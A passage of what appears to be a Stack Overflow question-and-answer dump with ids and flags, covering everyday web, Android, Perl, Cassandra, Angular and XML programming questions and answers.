colIndex = $(this).parent().children().index($(this)); $('tr').find('td.td-sorting').removeClass('td-sorting'); $('tr').find('td:eq(' + colIndex + ')').addClass('td-sorting'); } </code></pre> <p>But not works call function only for TH with class "sortable"</p>
13354820	0	 <p>PayPal has a great mobile experience and it will automatically switch to that if using a mobile device. How do you have PayPal integrated now? Are you just using a standard button? How long ago did you create it?</p> <p>If you take a look at www.givemobiley.org you'll see a good example of PayPal in a mobile experience. I developed that with jQuery Mobile, and I used the Express Checkout API with PayPal.</p> <p>If you load the demo on your computer you'll see the experience you expect there, and if you load it on your mobile device you'll see the experience you'd expect there.</p>
14490919	0	 <p>It has nothing to do with the inner function being named or not.</p> <p>In the first screenshot you're inspecting the <code>out</code> variable, which references a function returned but <code>outer</code>. That function has <code>x</code> in its closure scope.</p> <p>In the second screenshot you're inspecting the <code>outer</code> variable, which references a named global function. In that code snippet you don't have any variable to reference the result or <code>outer(3)</code>. If you assign that to a variable just like you do in the first example <code>var out = outer(3)</code> and put a breakpoint after that assignment, you'll be able to see <code>out</code>'s closure scope. Alternatively, you can inspect that by adding a "watch expression" of <code>outer(3)</code> in the debugger without the need to modify your code.</p>
6624390	0	 <p>You probably want:</p> <pre><code>Request.QueryString("myget") </code></pre> <p>for properties on the querystring.</p> <p>Request.Form() would get you posted params</p> <p>and Request.Params() will get params from both.</p>
31627620	0	 <p>In fragment we have to read imageview in oncreateview</p> <pre><code>@Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.my_frag_layout2, container); img = (ImageView)view.findViewById(R.id.imgview); img.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); startActivityForResult(intent,0); } }); return view; } </code></pre>
32213060	0	 <p>Provide the path to your input file as the first command line argument. </p> <p>Note: array indices might be off because I simply took your regex match variables and shifted them down by one (i.e., I didn't test this code).</p> <pre><code>use strict; use warnings; use Text::CSV; my $csv = Text::CSV-&gt;new({ binary =&gt; 1 }) or die Text::CSV-&gt;error_diag; open(my $fh, '&lt;', $ARGV[0]) or die $!; while (my $row = $csv-&gt;getline($fh)) { print "REPLACE INTO student (ID, SIS_ID, STUDENT_NUM, USER_ID, OTHER_USER_ID) VALUES (REPLACE(uuid(), '-', ''), '$row-&gt;[23]', '$row-&gt;[25]', '$row-&gt;[1]', '$row-&gt;[26]');\n"; } $csv-&gt;eof or $csv-&gt;error_diag; close($fh); </code></pre>
37084952	0	 <p>After_save always is called when save anything, use with moderation, and when it is called execute the method set_pennies but dont nothing, I too think that the self.update_column or update_all do what you want.</p>
28863440	1	Text from file to array with conditions in Python <pre><code> file = open("smth.txt","r") pom = list() string = "" for lines in file: for letter in line: if letter in "0123456789": pom.append(int(letter)) if letter == "T" : pom.append(True) elif letter.isalpha() == True: string += letter pom.append(string) file.close() print(pom) </code></pre> <p>Idea of code should be simple from a line from .txt is: 2,abc,True. The result should be [2, 'abc', True] so numbers convert to int, letters into str, and "True" into True. I have problem with that True, now the result is [2, True, 'abcrue'] what condition should be used on "True" ?</p>
16043469	0	 <p>You can just update the object</p> <pre><code>string filmID = comboBox1.SelectedValue.ToString(); Scenario newScenario = new Scenario(); foreach (Scenario scenario in myDatabase.Scenario .Where(scn =&gt; scn.filmID.ToString().Equals(filmId)) { scenario.SceneWriter.Add(newScenewriter);before } myDatabase.SaveChanges(); </code></pre>
18107366	0	 <p>From the Apple iOS 6.0 release notes:</p> <p>"In general, Auto Layout considers the top, left, bottom, and right edges of a view to be the visible edges. That is, if you pin a view to the left edge of its superview, you’re really pinning it to the minimum x-value of the superview’s bounds. Changing the bounds origin of the superview does not change the position of the view.</p> <p>The UIScrollView class scrolls its content by changing the origin of its bounds. To make this work with Auto Layout, the top, left, bottom, and right edges within a scroll view now mean the edges of its content view."</p> <p>You can find the <a href="http://developer.apple.com/library/ios/#releasenotes/General/RN-iOSSDK-6_0/index.html" rel="nofollow">full notes here</a> and find the answer to your question in the section that I quoted from. They give code examples on how to use UIScrollView in a mixed Auto Layout environment.</p>
4831604	0	 <p>While @Gnostus is correct about the prototype placement, you have an issue because you're making an asynchronous request, but are attempting to use the response immediately after sending the request.</p> <p>In other words, the code <em>after</em> your <code>loadMore()</code> call runs <em>before</em> the response is received.</p> <p>Change your prototype to accept a <code>function</code> to be used in the callback. </p> <pre><code> // accept a function to call upon success ---------------v MyLib.prototype.loadMore = function (id, loadingDivId, url, fn) { if (this.current &gt; -1) { this.current++; $(loadingDivId).html("&lt;h3&gt;Loading more records please wait...&lt;/h3&gt;"); $.get(url + this.current, function (data) { if (data != '') { $(id).append(data); $(loadingDivId).empty(); } else { this.current = -1; // ------------v------call the function fn(); $(loadingDivId).html("&lt;h3&gt;&lt;i&gt;-- No more results -- &lt;/i&gt;&lt;/h3&gt;"); } }); } } </code></pre> <p>Then pass in the functionality that relies on the response.</p> <pre><code>$('#loadMore').click(function () { if (lib.current &gt; -1) { // pass in your function -----------------------------v lib.loadMore("#results", "#loading", '/home/search/', function() { // This if() statement could be removed, since it will // always be "true" in the callback. // Just do the $("#loadMore").hide(); if (lib.current == -1) { $("#loadMore").hide(); } }); } return false; }); </code></pre> <p>Or if this will be standard functionality, you could add the function to the <code>prototype</code> of <code>MyLib</code>, and just have it accept the relevant arguments. Then your <code>loadMore</code> can simply call it from <code>this</code>.</p>
4062751	0	Ext-js: How to resize / close browser window? <p>Does Ext-js come with functionality to manipulate the browser window?</p> <p>Specifically, I want to resize and close the current browser window.</p> <p>(Browser window, the browser's native window, as opposed to Ext-js' widgets).</p> <p>It it possible or must I resort to plain old javascript?</p>
11596647	0	 <p>Give an id to the div surrounding the birthday tags:</p> <pre><code>&lt;div id="required"&gt; Birthday: &lt;select name="birthday_day" class="required"&gt; &lt;option value=""&gt;Day&lt;/option&gt; &lt;option value="1" &gt;1&lt;/option&gt; &lt;option value="2" &gt;2&lt;/option&gt; &lt;/select&gt; &lt;select name="birthday_month" class="required"&gt; &lt;option value=""&gt;Month&lt;/option&gt; &lt;option value="1" &gt;January&lt;/option&gt; &lt;/select&gt; &lt;select name="birthday_year" class="required"&gt; &lt;option value=""&gt;Year&lt;/option&gt; &lt;option value="1900" &gt;1900&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; </code></pre> <p>Use the code below to apply a red border if any of the select tags are not selected:</p> <pre><code>$('#doRegister').click(function(){ var a = $('select[name="birthday_day"]').val(); var b = $('select[name="birthday_month"]').val(); var c = $('select[name="birthday_year"]').val(); if(a == '' || b == '' || c == '') { $('div#required').css('border', '1px solid f60f60'); } else { $('div#required').css('border', 'none'); } }); </code></pre> <p>This,of course, avoids the use of the validator plugin that you're using</p>
34362574	0	How to pass mule logger category dynamically <p>I am scenario where the loggers in a mule sub-flow should write to the same log file where the parent\main flow logs. The parent flow which invokes the sub-flow will be different but the log should write into the respective log file defined for the parent flow.</p> <p>What I would be requiring here is a feature where I could dynamically pass the category value in a mule logger. I tried passing a flowVars using the mule expression in the logger category but It seems not effective (PFB).</p> <pre><code>&lt;set-variable variableName="flow" value="com.cisco.flow1" doc:name="Variable"/&gt;&lt;logger message="Inside the service --- ${sys:mule.home}${sys:file.separator}logs${sys:file.separator}log4j-research.log" level="INFO" doc:name="Logger" category="#[flowVars.flow]"/&gt; </code></pre> <p>Could anyone suggest a way to address the above requirement?</p> <p>Mule Version: 3.7.0</p> <p>Regards Arun</p>
23911059	0	 <p>The percent sign <code>%</code> has special meaning in Makefiles.</p> <p>In order to perform the Windows batch-file substitution, you need to escape it like this:</p> <pre><code>echo %%PATH%% </code></pre> <p>This seems to work too:</p> <pre><code>"echo %%PATH%%" </code></pre> <hr> <p>Another option is to perform the substitution on the Make side, but that's a different thing:</p> <pre><code>echo $(PATH) </code></pre>
37821379	0	 <p>The code you are referring to is proprietary to your application's code. There is no standard for what these mean - it's up to your application to know what they mean. What are they? It's an <a href="http://docwiki.embarcadero.com/RADStudio/Berlin/en/Simple_Types_(Delphi)#Enumerated_Types" rel="nofollow">enum (or enumerated) type definition</a>. But only the author(s) of this code knows the original intention. Usually, such types are documented somewhere for future developers to understand.</p> <p>If such documentation is unavailable, I suggest doing a global search of your code to find the usage of each, and observe how they're being used in the context of the code around it. I also suggest documenting things, at least as code comments, as you go along. I've even seen big libraries such as Indy raise question in the code's comments. </p>
16907074	0	 <p>You are trying to add expression in <code>THEN</code> section of <code>CASE</code> while statement is expected. Instead of using <code>CASE</code> try to move conditions to <code>WHERE</code> section:</p> <pre><code>SELECT element FROM elementTable WHERE (date &gt; '2013' AND element NOT IN ('e1', 'e2', 'e3')) OR (date &gt; '2012' AND date &lt;= '2013' AND element NOT IN ('e2', 'e3')) OR (date &gt; '2011' AND date &lt;= '2012' AND element NOT IN ('e3')) OR date &lt;= '2011' </code></pre>
21844722	0	spoj http://www.spoj.com/problems/JULKA/ <pre><code> //explain below for loop what is actually being done in this loop// for(i=k-1, j=a=f=0; i&gt;=0; i--) { b = (a*10 + temp[i]-'0') / 2; //explain a = (a*10 + temp[i]-'0') % 2;//explain if(b) f = 1;//explain if(f) klaudia[j++] = b+'0';//explain } if(!j) j++;//explain klaudia[j] = 0;//explain for(i=len1-1, j=len2-1, k=c=0; i&gt;=0; i--, j--, k++) { a = total[i]-'0';//explain b = j&gt;=0? diff[j]-'0' : 0;//explain if(a &lt; b+c) { temp[k] = (10+a-b-c) + '0';//explain c = 1;//explain } else { temp[k] = a-b-c + '0';//explain c = 0;//explain } } temp[k] = 0;//explain </code></pre> <p>explain what is being done in both the for loop above why we are dividing and modulating by 2. what is the signifinace of adding 0 </p>
6463842	0	 <p>You can look into this msdn article it has a sample example as well</p> <p><a href="http://msdn.microsoft.com/en-us/library/ee728598(v=VS.98).aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ee728598(v=VS.98).aspx</a></p>
40237318	0	 <p>I know it's probably late... but here's your answer: <code>android.support.v7.app.AlertDialog</code> in AppCompat support library use <a href="https://github.com/android/platform_frameworks_support/blob/master/v7/appcompat/res/layout/select_dialog_singlechoice_material.xml" rel="nofollow">this</a> layout by default (unless you provide your own adapter) for singleChoiceDialog:</p> <pre><code>&lt;CheckedTextView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@android:id/text1" android:layout_width="match_parent" android:layout_height="wrap_content" android:minHeight="?attr/listPreferredItemHeightSmall" android:textAppearance="?android:attr/textAppearanceMedium" android:textColor="?attr/textColorAlertDialogListItem" android:gravity="center_vertical" android:paddingLeft="@dimen/abc_select_dialog_padding_start_material" android:paddingRight="?attr/dialogPreferredPadding" android:paddingStart="@dimen/abc_select_dialog_padding_start_material" android:paddingEnd="?attr/dialogPreferredPadding" android:drawableLeft="?android:attr/listChoiceIndicatorSingle" android:drawableStart="?android:attr/listChoiceIndicatorSingle" android:drawablePadding="20dp" android:ellipsize="marquee" /&gt; </code></pre> <p>The attribute used to set this up in the theme is <code>singleChoiceItemLayout</code> so you can override it with your own layout to get whatever UI you want.</p> <p>If you just want to change the text color just define the attribute <code>textColorAlertDialogListItem</code> as you can see from the layout it's the one used for <code>android:textColor</code>.</p> <p>In general when I need something like this i go and look at the source code since it is available. The support libraries source code can be found <a href="https://github.com/android/platform_frameworks_support" rel="nofollow">here</a>, while most of the framework source code can be find <a href="https://github.com/android/platform_frameworks_base" rel="nofollow">here</a>.</p>
26438756	0	 <p>Symfony's profiler can't scan to code for all stopwatch instances and put that into the timeline. You have to use the preconfigured stopwatch provided by the profiler instead:</p> <pre><code>public function testAction() { $stopwatch = $this-&gt;get('debug.stopwatch'); $stopwatch-&gt;start('testController'); // ... $event = $stopwatch-&gt;stop('testController'); return $response; } </code></pre> <p>However, your controller is already on the timeline...</p>
24426554	0	 <p><code>keySet()</code> does not create a new <code>Set</code>. </p> <p>It simply offers a view of the keys in your map. It actually provides only a few operations which are iteration (with remove), size, emptiness, clear and contains. You cannot add an element to it otherwise it will throw an <code>UnsupportedOperationException</code>.</p>
19762983	0	gcc extension __attribute__ meanings <p>when I look some code, I find the following snap.</p> <pre><code>void ph_library_init_register(struct ph_library_init_entry *ent); #define PH_LIBRARY_INIT_PRI(initfn, finifn, pri) \ static __attribute__((constructor)) \ void ph_defs_gen_symbol(ph__lib__init__)(void) { \ static struct ph_library_init_entry ent = { \ __FILE__, __LINE__, pri, initfn, finifn, 0 \ }; \ ph_library_init_register(&amp;ent); \ } </code></pre> <p>my question is: 1. what is <strong>stribute</strong> means? 2. when does the code run?</p>
4618736	0	 <p>Fixed it by parameterising my command, binding to a new property on my viewmodel and moving Command into the style:</p> <pre><code> &lt;ToggleButton Margin="0,3" Grid.Row="3" Grid.ColumnSpan="2" IsThreeState="False" IsChecked="{Binding DataContext.IsSelected, RelativeSource={RelativeSource FindAncestor, AncestorType={x:Type UserControl}}}"&gt; &lt;ToggleButton.Style&gt; &lt;Style TargetType="{x:Type ToggleButton}"&gt; &lt;Setter Property="Content" Value="Select All"/&gt; &lt;Setter Property="Command" Value="{Binding DataContext.SelectAllCommand, RelativeSource={RelativeSource FindAncestor, AncestorType={x:Type UserControl}}}"/&gt; &lt;Style.Triggers&gt; &lt;Trigger Property="IsChecked" Value="True"&gt; &lt;Setter Property="Content" Value="Select None"/&gt; &lt;/Trigger&gt; &lt;/Style.Triggers&gt; &lt;/Style&gt; &lt;/ToggleButton.Style&gt; &lt;/ToggleButton&gt; </code></pre> <p>Don't you just love WPF sometimes!</p>
35115561	0	How to change the dimensions of a div depending of a number extern to that div? jquery/css <p>I want to change the dimensions of a <code>div</code> depending of wich number contain another <code>div</code>. For example if i have the number 0 the div has to be <code>width: 20px; height 0px;</code>, if i have the number 50 the div has to be <code>width: 20px; height 50px;</code>, if i have the number 100 the <code>div</code> has to be <code>width: 20px; height 100px;</code>.</p> <p>How can I do it in css or jquery?</p> <p>I hope you understand. Thank you.</p>
33743219	0	 <p>This is also working</p> <pre><code>&lt;LinearLayout android:orientation="horizontal" android:layout_width="fill_parent" android:layout_height="wrap_content" android:weightSum="5"&gt; &lt;Button style="?android:attr/buttonStyleSmall" android:layout_width="0sp" android:layout_weight="1" android:layout_height="fill_parent" android:layout_alignParentLeft="true" android:text="&amp;lt;&amp;lt;" android:id="@+id/button2" /&gt; &lt;TextView android:layout_width="0sp" android:layout_weight="3" android:layout_height="wrap_content" android:id="@+id/TodayDataTextView" android:text="Today Data" android:textAlignment="center" android:layout_gravity="center" android:gravity="center" android:textColor="#0000ff" android:background="#00000000" android:layout_margin="5dp" android:textSize="20dp" android:textStyle="bold|italic" /&gt; &lt;Button style="?android:attr/buttonStyleSmall" android:layout_width="0sp" android:layout_weight="1" android:layout_height="wrap_content" android:layout_marginRight="15dp" android:text="&gt;&gt;" android:id="@+id/button" /&gt; &lt;/LinearLayout&gt; </code></pre>
21841302	0	 <p>you're probably looking for "FOR XML" T-SQL clause</p> <p><a href="http://msdn.microsoft.com/en-us/library/ms178107.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms178107.aspx</a></p> <blockquote> <p>A SELECT query returns results as a rowset. You can optionally retrieve formal results of a SQL query as XML by specifying the FOR XML clause in the query. The FOR XML clause can be used in top-level queries and in sub queries. The top-level FOR XML clause can be used only in the SELECT statement. In sub queries, FOR XML can be used in the INSERT, UPDATE, and DELETE statements. It can also be used in assignment statements.</p> </blockquote> <p>take a look on this site too</p> <p><a href="http://blogs.msdn.com/b/saurabh_singh/archive/2010/05/11/export-sql-table-records-to-xml-form.aspx" rel="nofollow">http://blogs.msdn.com/b/saurabh_singh/archive/2010/05/11/export-sql-table-records-to-xml-form.aspx</a></p>
26656545	0	What does it mean when a function arguments follow "pass-by-sharing"? <p>This is in specific relation to Julia, where they mention this in the docs. I noticed the following happen in my Julia code: I can use values of global variables in the julia functions without even passing them to a function. Can someone explain what is happening?</p>
30342024	0	 <p>If possible, update to Gradle 2.4. It's significantly faster (claiming 20-40%).</p>
29667596	0	After high traffic Cassandra WriteTimeoutException <p>I'm experimenting with cassandra to use it for storing tracking data. I process get requests (300 req/sec) with tracking information through django with uwsgi on nginx. The django application writes to cassandra (single cluster with 3 RF) directly. For this im taking the cassandra-driver (2.5.0).</p> <p>After restarting all relevant services the whole thing works for about two hours. Then the server goes down and produces a server error 500.</p> <p>Currently i don't know where the bottleneck is. Syslog show normal I/O activity on my system also CPU is just used by 32%.</p> <p>I'm working primarily with counters. My tables look like this:</p> <pre><code>CREATE TABLE rollup_hour_counter ( name text, player_id text, hour timestamp, "count" counter, PRIMARY KEY ((name, player_id), hour) ) </code></pre> <p>My code to write into cassandra looks like this:</p> <pre><code>rows = session.execute('UPDATE rollup_hour_counter ' 'SET count = count + 1' 'WHERE player_id=\'%s\' AND hour=\'%s:00:00\' AND name = \'name\'' % (player_uuid, date_now_hour)) </code></pre> <p>I did some research on the errors in the log files. </p> <p>uwsgi logs show:</p> <blockquote> <p>Thu Apr 16 07:44:04 2015 - uwsgi_response_writev_headers_and_body_do(): Broken pipe [core/writer.c line 296] during GET /t/i/7bcdd5e185fd4608b0d3c3451f5ec56a/ (146.58.126.229)</p> </blockquote> <p>cassandra log shows:</p> <blockquote> <p>WARN [SharedPool-Worker-12] 2015-04-16 07:44:50,424 AbstractTracingAwareExecutorService.java:169 - Uncaught exception on thread Thread[SharedPool-Worker-12,5,main]: {} java.lang.RuntimeException: org.apache.cassandra.exceptions.WriteTimeoutException: Operation timed out - received only 0 responses. at org.apache.cassandra.service.StorageProxy$DroppableRunnable.run(StorageProxy.java:2174) ~[apache-cassandra-2.1.4.jar:2.1.4] at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) ~[na:1.7.0_76] at org.apache.cassandra.concurrent.AbstractTracingAwareExecutorService$FutureTask.run(AbstractTracingAwareExecutorService.java:164) ~[apache-cassandra-2.1.4.jar:2.1.4] at org.apache.cassandra.concurrent.SEPWorker.run(SEPWorker.java:105) [apache-cassandra-2.1.4.jar:2.1.4] at java.lang.Thread.run(Thread.java:745) [na:1.7.0_76] Caused by: org.apache.cassandra.exceptions.WriteTimeoutException: Operation timed out - received only 0 responses. at org.apache.cassandra.db.CounterMutation.grabCounterLocks(CounterMutation.java:146) ~[apache-cassandra-2.1.4.jar:2.1.4] at org.apache.cassandra.db.CounterMutation.apply(CounterMutation.java:122) ~[apache-cassandra-2.1.4.jar:2.1.4] at org.apache.cassandra.db.CounterMutation.apply(CounterMutation.java:122) ~[apache-cassandra-2.1.4.jar:2.1.4] at org.apache.cassandra.service.StorageProxy$8.runMayThrow(StorageProxy.java:1147) ~[apache-cassandra-2.1.4.jar:2.1.4] at org.apache.cassandra.service.StorageProxy$DroppableRunnable.run(StorageProxy.java:2171) ~[apache-cassandra-2.1.4.jar:2.1.4] ... 4 common frames omitted</p> </blockquote> <p>nginx logs show: </p> <blockquote> <p>2015/04/16 07:43:57 [error] 2111#0: *268738 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 82.115.124.102, server: server.someservice.com, request: "GET [...] HTTP/1.1", upstream: "uwsgi://unix:///tmp/track.sock", host: "server2.someotherservice.com", referrer: "[..]"</p> </blockquote> <p>So first I thought that the uwsgi processes and sockets were responsible. I added some worker processes increased buffer size but no help.</p> <p>Second i tuned some cassandra settings but no help:</p> <p>My cassandra settings look like this:</p> <pre><code>num_tokens: 256 hinted_handoff_enabled: true max_hint_window_in_ms: 10800000 # 3 hours hinted_handoff_throttle_in_kb: 1024 max_hints_delivery_threads: 2 batchlog_replay_throttle_in_kb: 1024 authenticator: AllowAllAuthenticator authorizer: AllowAllAuthorizer permissions_validity_in_ms: 2000 partitioner: org.apache.cassandra.dht.Murmur3Partitioner data_file_directories: - /var/lib/cassandra/data commitlog_directory: /var/lib/cassandra/commitlog disk_failure_policy: stop commit_failure_policy: stop key_cache_size_in_mb: key_cache_save_period: 14400 row_cache_size_in_mb: 0 row_cache_save_period: 0 counter_cache_size_in_mb: counter_cache_save_period: 7200 saved_caches_directory: /var/lib/cassandra/saved_caches commitlog_sync: periodic commitlog_sync_period_in_ms: 10000 commitlog_segment_size_in_mb: 32 seed_provider: - class_name: org.apache.cassandra.locator.SimpleSeedProvider parameters: # seeds is actually a comma-delimited list of addresses. # Ex: "&lt;ip1&gt;,&lt;ip2&gt;,&lt;ip3&gt;" - seeds: "127.0.0.1" concurrent_reads: 96 concurrent_writes: 96 concurrent_counter_writes: 96 file_cache_size_in_mb: 1512 memtable_allocation_type: heap_buffers memtable_flush_writers: 96 index_summary_capacity_in_mb: index_summary_resize_interval_in_minutes: 60 trickle_fsync: false trickle_fsync_interval_in_kb: 10240 storage_port: 7000 ssl_storage_port: 7001 listen_address: localhost start_native_transport: true native_transport_port: 9042 start_rpc: true rpc_address: localhost rpc_port: 9160 rpc_keepalive: true rpc_server_type: sync rpc_min_threads: 60 rpc_max_threads: 96 thrift_framed_transport_size_in_mb: 15 memtable_flush_after_mins: 60 incremental_backups: false snapshot_before_compaction: false auto_snapshot: true tombstone_warn_threshold: 1000 tombstone_failure_threshold: 100000 column_index_size_in_kb: 64 batch_size_warn_threshold_in_kb: 5 compaction_throughput_mb_per_sec: 16 sstable_preemptive_open_interval_in_mb: 50 read_request_timeout_in_ms: 5000 range_request_timeout_in_ms: 10000 write_request_timeout_in_ms: 2000 counter_write_request_timeout_in_ms: 5000 cas_contention_timeout_in_ms: 1000 truncate_request_timeout_in_ms: 60000 request_timeout_in_ms: 10000 cross_node_timeout: false endpoint_snitch: SimpleSnitch dynamic_snitch_update_interval_in_ms: 100 dynamic_snitch_reset_interval_in_ms: 600000 dynamic_snitch_badness_threshold: 0.1 request_scheduler: org.apache.cassandra.scheduler.NoScheduler server_encryption_options: internode_encryption: none keystore: conf/.keystore keystore_password: cassandra truststore: conf/.truststore truststore_password: cassandra # More advanced defaults below: # protocol: TLS # algorithm: SunX509 # store_type: JKS # cipher_suites: [TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_256_CBC_SHA,TLS_DHE_RSA_WITH_AES_128_CBC_SHA,TLS_DHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA] # require_client_auth: false client_encryption_options: enabled: false keystore: conf/.keystore keystore_password: cassandra # require_client_auth: false # Set trustore and truststore_password if require_client_auth is true # truststore: conf/.truststore # truststore_password: cassandra # More advanced defaults below: # protocol: TLS # algorithm: SunX509 # store_type: JKS # cipher_suites: [TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_256_CBC_SHA,TLS_DHE_RSA_WITH_AES_128_CBC_SHA,TLS_DHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA] internode_compression: all inter_dc_tcp_nodelay: false </code></pre> <p>Does someone have an idea where the bottleneck is?</p>
36229727	0	 <p>see below, happy coding ! :)</p> <p>In plunker you can set <code>&lt;base href="/" /&gt;</code>, you have to script that: </p> <pre><code>&lt;script&gt; document.write('&lt;base href="' + document.location + '" /&gt;'); &lt;/script&gt; </code></pre> <p>You forgot some script required by ui-bootstrap :</p> <pre><code>&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.5.0/angular-animate.js"&gt;&lt;/script&gt; &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.5.0/angular-route.js"&gt;&lt;/script&gt; &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.5.0/angular-touch.js"&gt;&lt;/script&gt; </code></pre> <p>And you forgot to load ui.bootstrap in your module :</p> <pre><code>angular.module('modalService', ['ui.bootstrap']).service('modalService', ['$modal', function(){...}) </code></pre> <p><a href="http://plnkr.co/edit/4BiF2SlhOZDrFgMzj31z?p=preview" rel="nofollow">http://plnkr.co/edit/4BiF2SlhOZDrFgMzj31z?p=preview</a></p>
16759554	0	 <p>As some other answers already said, there's no need to use a regular expression here. A simple <code>split</code> and some filtering will do nicely:</p> <pre><code>lines = data.split("\n") #assuming data contains your input string sld, tld = [[x.split("=")[1] for x in lines if x[:3] == t] for t in ("SLD", "TLD")] result = [x+y for x, y in zip(sld, tld)] </code></pre>
19710209	0	 <p>That's the "evaluate the branch" part of the algorithm, except you'll first use this Bhattacharyya distance on one dimensional vectors, then two dimensional vectors, etc.</p>
37214471	0	 <p>Right click on your solution and select Properties. In the "Startup Project" select "Multiple startup projects" and set "Action" of your projects to "Start" </p>
37572947	0	Angular2 DecimalPipe with input type="number" <p>On one hand I have in my component:</p> <pre><code>public test:number = 1000; </code></pre> <p>On another hand, I have created a piece of view this way:</p> <pre><code>&lt;input type="number" [ngModel]="test | number:'1.0-1'" /&gt; </code></pre> <p>As soon as the property "test" is less than 1000, the input displays the value. Whenever it reaches 1000 and more, this value is not displayed anymore in the input.</p> <p>Here is a plunker: <a href="http://plnkr.co/edit/pFThNc1JNxfsnzJK9nCV" rel="nofollow">http://plnkr.co/edit/pFThNc1JNxfsnzJK9nCV</a></p> <p>Is there something I missed? Or am I doing something wrong?</p>
27359787	0	 <p>Another approach is to use <code>union all</code> with aggregation:</p> <pre><code>SELECT y1, cnt1, y2, cnt2 FROM ((SELECT EXTRACT(YEAR FROM Tab_1.DATE_STMP) as y1, COUNT(*) as cnt1, NULL as y2, NULL as cnt2 FROM EMP_1 Tab_1 GROUP BY EXTRACT(YEAR FROM Tab_1.DATE_STMP) EMP_2@LINK Tab_2 ) UNION ALL (SELECT NULL, NULL, EXTRACT(YEAR FROM Tab_2.DATE_STMP) as y2, COUNT(*) as cnt2 FROM EMP_1 Tab_2 GROUP BY EXTRACT(YEAR FROM Tab_2.DATE_STMP) ) ) GROUP BY COALESCE(y1, y2) </code></pre>
23116555	0	Classes of javax.faces.bean are gonna be deprecated - a notification issued by NetBeans IDE 8.0 <p>I'm using NetBeans IDE <a href="https://netbeans.org/downloads/8.0/" rel="nofollow noreferrer">8.0</a>. The IDE issues a notification as shown in the following snap shot.</p> <blockquote> <p>Classes of javax.faces.bean are gonna be deprecated</p> </blockquote> <p><a href="https://i.stack.imgur.com/2i9eO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2i9eO.png" alt="enter image description here"></a></p> <p>Is there any reason for this notification, may be the classes from the specified package are going to be deprecated shortly?</p> <p>My application uses,</p> <ul> <li>Mojarra 2.2.6</li> <li>PrimeFaces 4.0</li> <li>PrimeFaces Extension 1.1.0</li> <li>GlassFish Server 4.0</li> <li>OmniFaces 1.6.3</li> </ul> <p>and other related components.</p>
1088716	0	 <p>There is a schema describing such graph: see <a href="http://graphml.graphdrawing.org/primer/graphml-primer.html" rel="nofollow noreferrer">GraphML</a></p> <p>Example:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;graphml xmlns="http://graphml.graphdrawing.org/xmlns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd"&gt; &lt;graph id="G" edgedefault="undirected"&gt; &lt;node id="n0"/&gt; &lt;node id="n1"/&gt; &lt;node id="n2"/&gt; &lt;node id="n3"/&gt; &lt;node id="n4"/&gt; &lt;node id="n5"/&gt; &lt;node id="n6"/&gt; &lt;node id="n7"/&gt; &lt;node id="n8"/&gt; &lt;node id="n9"/&gt; &lt;node id="n10"/&gt; &lt;edge source="n0" target="n2"/&gt; &lt;edge source="n1" target="n2"/&gt; &lt;edge source="n2" target="n3"/&gt; &lt;edge source="n3" target="n5"/&gt; &lt;edge source="n3" target="n4"/&gt; &lt;edge source="n4" target="n6"/&gt; &lt;edge source="n6" target="n5"/&gt; &lt;edge source="n5" target="n7"/&gt; &lt;edge source="n6" target="n8"/&gt; &lt;edge source="n8" target="n7"/&gt; &lt;edge source="n8" target="n9"/&gt; &lt;edge source="n8" target="n10"/&gt; &lt;/graph&gt; &lt;/graphml&gt; </code></pre>
3377030	0	 <p>It was the most terrible "error" I ever had. :-D Everytime I typed something in my textbox I refreshed a webview. That refreshing made this sound.</p>
12182074	0	Same or different xml namespaces? <p>In my project, there are lots of XML files of various sort, like XSDs, WSDLs, parameter maps etc. They all receive a generated namespace by the IDE, but the namespaces are not unique (across projects - elements with the same name get the same namespace) nor descriptive (or confusing - they all begin with "http://www.ibm.com/...", even though they define my own entities, not those of IBM). Namespace refactoring is necessary, then.</p> <p>My doubts are the following:</p> <p>1) Should every element have its own namespace, or should related elements share their namespaces? For instance, </p> <ul> <li>Should SOAP request and response messages belong to the same namespace, or should they have their own namespace?</li> <li>Should WSDL and related XSD use the same target namespace, or different?</li> </ul> <p>For example:</p> <pre><code>http://www.xarx.com/xmlns/TheProject/Administration/wsdl/StartProcess http://www.xarx.com/xmlns/TheProject/Administration/xsd/StartProcessRequest http://www.xarx.com/xmlns/TheProject/Administration/xsd/StartProcessResponse </code></pre> <p>or everything into</p> <pre><code>http://www.xarx.com/xmlns/TheProject/Administration </code></pre> <p>2) All generated namespaces that will be publicly visible must be corrected, sure. But what about the ones that are internal to the project - is their refactoring a waste of time? They might appear in the administration console or in logs, and wrong namespaces there could be misleading.</p>
